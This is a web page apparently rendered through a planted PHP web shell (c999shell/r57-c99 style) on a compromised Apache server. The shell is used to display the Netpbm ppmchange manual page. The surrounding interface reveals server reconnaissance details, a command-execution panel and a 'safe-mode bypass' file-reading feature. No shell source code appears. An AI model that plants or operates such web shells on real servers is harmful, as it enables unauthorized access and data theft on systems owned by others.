Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/netpbm-10.35.58/userguide/ drwxr-xr-x |
Viewing file: ppmchange.html (5.44 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | ppmchangeUpdated: September 2005Table Of Contents NAMEppmchange - change all pixels of one color to another in a PPM imageSYNOPSISppmchange [-closeness=closeness_percent] [-remainder=remainder_color] [-closeok] [oldcolor newcolor] ... [ppmfile]EXAMPLESppmchange red blue redimage.ppm >blueimage.ppm ppmchange red red -remainder=black myimage.ppm >redblack.ppm ppmchange -closeness=90 white white black black DESCRIPTIONThis program is part of Netpbm. ppmchange reads a PPM image as input and changes all pixels of colr oldcolor to color newcolor. You may specify up to 256 oldcolor/newcolor pairs on the command line. ppmchange leaves all colors not mentioned unchanged, unless you specify the -remainder option, in which case they are all changed to the single specified color. You can specify that colors similar, but not identical, to the ones you specify get replaced by specifying a "closeness" factor. Specify the colors as described for the argument of the ppm_parsecolor() library routine. If a pixel matches two different oldcolors, ppmchange replaces it with the newcolor of the leftmost specified one. The maxval of the output image is the same as that of the input image. If a newcolor you specify cannot be exactly represented in that maxval, ppmchange assumes a color that is as close as possible to what you specified but can be represented with your maxval. Unless you specify the -closeok option, ppmchange issues a warning that it is using an approximation. A common way that you can have this maxval problem, where the color you specify cannot be represented with your maxval, is that your input is a PBM (black and white) image that you are colorizing. The maxval in this case is 1, which severely limits the colors to which you can change. To avoid this problem, use pamdepth to make the maxval of your input something consistent with your colors. 255 is usually a good choice. Before Netpbm 10.22 (April 2004), ppmchange always behaved as if the user specified -closeok and there was no -closeok option. OPTIONS
SEE ALSOpgmtoppm, ppmcolormask, ppmAUTHORWilson H. Bent. Jr. (whb@usc.edu) with modifications by Alberto Accomazzi (alberto@cfa.harvard.edu)Table Of Contents |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]-- |